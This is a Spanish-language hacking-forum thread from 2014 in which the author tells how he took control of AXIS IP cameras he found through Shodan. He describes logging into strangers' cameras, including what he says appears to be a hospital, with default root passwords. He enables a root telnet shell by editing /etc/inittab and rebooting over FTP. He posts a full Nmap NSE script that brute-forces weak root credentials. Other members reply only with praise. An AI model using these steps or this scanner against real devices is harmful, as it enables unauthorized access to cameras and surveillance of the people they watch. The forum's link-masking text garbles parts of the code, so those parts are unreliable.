comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Tomando el control de una camara AXIS - Parte I

  • 4 Respuestas
  • 3962 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 206
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Agosto 11, 2014, 06:59:18 pm »


Hay veces en las que se me da por jugar con Shodan, realizando busqueda de routers, camaras IP u otros dispositivos, esta vez me puse a indagar las camaras AXIS que se encontraban en la red publica.

Simplemente poniedon AXIS en el buscador podemos encontrar unas cuantas disponibles, sin embargo la gran mayoria dispone de autentificacion HTTP Digest para acceder al panel (pero no todas) incluso muchas poseen passwords como el clasico 123456.



Entonces me puse a averiguar informacion de este tipo de camaras, que bien son dispositivos con Linux arm* embebido y otra cosa interesante es que el user por defecto es root, asi que me puse a probar intentos de logueo con root:123456, root:root, siempre a travez de las direcciones que me arrojaba shodan y me cruze con una gran cantidad de dispositivos que realmente estaban configurados con esas credenciales y es mas algunos ni siquiera tenian activado la autentificacion por http.

Me tope con algunas como estas:

Lo que pareciera ser un hospital.



Un pequeño local de electrodomesticos en Arabia Saudita



Una pancheria en Medellin Colombia.



Ahora que ya habia accedido al panel,  queria ver la forma de tomar el control del mini OS GNU.

Por empezar estos dispositivos cuentan con un servidor ftp configurado con las mismas credenciales que el http, pero por defecto el demonio telnet se encuentra desabilitado al inicio, pero esto no quita que pueda ser activado a travez del servidor web utilizando un editor de ficheros dentro de las opciones del sistema.



Solo basta con editar el fichero /etc/inittab y descomentar la linea:

Código: Bash
  1. #tnet:35:once:/usr/sbin/telnetd



Salvar los cambios, y reiniciar el dispositivo, esto podemos hacerlo mediante el panel.



O bien por ftp con el siguiente comando.

Código: Bash
  1. quote site reboot



Una vez iniciado el sistema seremos capaces de establecer una conexion por telnet como usuario root.



No quedando satisfecho con la pobre cantidad de camaras que me proveia shodan me dispuse a codear un NSE script para realizar sondeos con nmap y ver que me encontraba.

La manera de identificar estos juguetitos es mirando el banner que tira el ftp, una vez identificado, el script simplemente intenta loguearse como root, utilizando contraseñas debiles y ademas comprueba si el panel se encuentra protegido.

Código: Perl
  1. description = [[
  2. Script que se encarga de buscar camaras AXIS que contengan credenciales debiles
  3. o You are not allowed to view links. Register or Login autentificacion HTTP digest.
  4. ]]
  5.  
  6. author = "[Q]3rV[0]"
  7. license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
  8. categories = {"brute", "auth"}
  9.  
  10. ---
  11. --
  12. -- @usage nmap --script=axis_search -vv -T4 -Pn -n xx.xx.xxx.x -p80,21
  13. -- @output
  14. --PORT   STATE SERVICE
  15. --21/tcp You are not allowed to view links. Register or Login  ftp
  16. --80/tcp You are not allowed to view links. Register or Login  http
  17.  
  18. --Host script results:
  19. --| axis:
  20. --|   Host = xxx.x.xxx.3
  21. --|   Version = AXIS M7010 Video Encoder 5.40.6.1 (2011) ready.
  22. --|_  Auth = root:root
  23. --
  24. ---
  25.  
  26.  
  27. You are not allowed to view links. Register or Login http = You are not allowed to view links. Register or Login "http"
  28. You are not allowed to view links. Register or Login ftp = You are not allowed to view links. Register or Login "ftp"
  29. You are not allowed to view links. Register or Login nmap = You are not allowed to view links. Register or Login "nmap"
  30. You are not allowed to view links. Register or Login stdnse = You are not allowed to view links. Register or Login "stdnse"
  31. You are not allowed to view links. Register or Login string = You are not allowed to view links. Register or Login "string"
  32. You are not allowed to view links. Register or Login table = You are not allowed to view links. Register or Login "table"
  33.  
  34. hostrule=function(host)
  35.         You are not allowed to view links. Register or Login http_port, ftp_port
  36.         http_port=nmap.get_port_state(host, {number=80, protocol="tcp"})
  37.         if not http_port and not (http_port.state=="open" or http_port.state=="open|filtered") then
  38.                 You are not allowed to view links. Register or Login false
  39.         end    
  40.         ftp_port=nmap.get_port_state(host, {number=21, protocol="tcp"})
  41.         if not ftp_port and not (ftp_port.state=="open" or ftp_port.state=="open|filtered") then
  42.                 You are not allowed to view links. Register or Login false
  43.         end
  44.         You are not allowed to view links. Register or Login true            
  45. end
  46.  
  47. You are not allowed to view links. Register or Login out={}
  48.  
  49. You are not allowed to view links. Register or Login dic={'root', 123456, 1234}
  50.  
  51. You are not allowed to view links. Register or Login function data_out(out, message_banner, auth, host)
  52.         table.insert(out, string.You are not allowed to view links. Register or Login("Host = %s", host.ip))
  53.         table.insert(out, string.You are not allowed to view links. Register or Login("Version = %s", message_banner))
  54.     table.insert(out, string.You are not allowed to view links. Register or Login("Auth = %s", auth))
  55.     You are not allowed to view links. Register or Login stdnse.format_output(true, out)
  56. end
  57.  
  58. You are not allowed to view links. Register or Login function http_auth(host)
  59.         You are not allowed to view links. Register or Login response=http.get(host, 80, '/view/viewer_index.shtml')
  60.         You are not allowed to view links. Register or Login response
  61. end
  62.                
  63.  
  64. action=function(host)
  65.         You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login=nmap.new_socket()
  66.         You are not allowed to view links. Register or Login:You are not allowed to view links. Register or Login(host, 21)
  67.         You are not allowed to view links. Register or Login buffer=stdnse.make_buffer(You are not allowed to view links. Register or Login, "\r?\n")
  68.         You are not allowed to view links. Register or Login code, message_banner=ftp.read_reply(buffer)
  69.         if string.match(message_banner, "AXIS") then
  70.                 You are not allowed to view links. Register or Login response=http_auth(host)
  71.                 if response.status==401 or response.status==404 or response.status==403 then
  72.                         for n,pass in ipairs(dic) do
  73.                                 You are not allowed to view links. Register or Login:You are not allowed to view links. Register or Login("USER root\r\n")
  74.                                 You are not allowed to view links. Register or Login code, message=ftp.read_reply(buffer)
  75.                                 if code==331 then
  76.                                         You are not allowed to view links. Register or Login:You are not allowed to view links. Register or Login("PASS "..pass.."\r\n")
  77.                                 end
  78.                                 You are not allowed to view links. Register or Login code, message=ftp.read_reply(buffer)
  79.                                 if message == "User logged in, proceed." then
  80.                                         You are not allowed to view links. Register or Login data_out(out, message_banner, 'root:'..pass, host)
  81.                                 end
  82.                         end
  83.                 else
  84.                         You are not allowed to view links. Register or Login data_out(out, message_banner, 'HTTP Blank Auth :)', host)               
  85.                 end
  86.                 You are not allowed to view links. Register or Login data_out(out, message_banner, 'Failed Auth :(', host)   
  87.         end                    
  88. end
  89.  

Para terminar dejo una salida del script realizando un sondeo de prueba a la red xx.xxx.xx.x/24


« Última modificación: Agosto 11, 2014, 09:35:29 pm por [Q]3rV[0] »
Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5335
  • Actividad:
    31.67%
  • Reputación 30
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Agosto 11, 2014, 07:03:08 pm »
Que grande [Q]3rv[0]!!
Volviste con todoo!!!
Muchisimas gracias por el aporte!!


Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Agosto 11, 2014, 07:55:32 pm »
Excelente [Q]3rV[0]! Me encantan los post de este tipo. Resultan muy educativos.

Gracias por el aporte!

Saludos!
WhiZ


Desconectado blackdrake

  • *
  • Co Admin
  • Mensajes: 1904
  • Actividad:
    20%
  • Reputación 15
    • Ver Perfil
« Respuesta #3 en: Agosto 12, 2014, 04:31:29 am »
Totalmente de acuerdo con Antrax y WhiZ. Pienso que este tipo de tutoriales son los mejores y tu nos has dejado uno increíble, gracias por traerlo.

Un saludo.



Desconectado OLM

  • *
  • Underc0der
  • Mensajes: 57
  • Actividad:
    0%
  • Reputación 0
  • No hay justicia si la guerra está justificada.
    • Ver Perfil
    • Hackpuntes
    • Email
  • Skype: jjavierolmedo
  • Twitter: @JJavierOlmedo
« Respuesta #4 en: Agosto 28, 2014, 09:01:35 am »
Te doy mi enhorabuena por este post y mil gracias.

Saludos.
Nunca consideres el estudio como una obligación, sino como una oportunidad para adentrarse en el maravilloso mundo del saber.

 

¿Te gustó el post? COMPARTILO!



Symlink en parte automatizado

Iniciado por TrollMine

Respuestas: 1
Vistas: 1552
Último mensaje Agosto 09, 2013, 11:21:01 pm
por TUNOVATO
Gcat - Python Backdoor Usando Gmail para Mando y Control

Iniciado por R3v0lve

Respuestas: 2
Vistas: 3620
Último mensaje Noviembre 18, 2015, 08:52:40 pm
por Stuxnet
Admin Control Panel Finder - by Gladiator

Iniciado por dracko.rx

Respuestas: 0
Vistas: 3486
Último mensaje Febrero 24, 2010, 03:13:37 pm
por dracko.rx
Cómo tomé el control de tu subdominio

Iniciado por Jimeno

Respuestas: 5
Vistas: 3785
Último mensaje Septiembre 30, 2016, 11:48:21 am
por elefren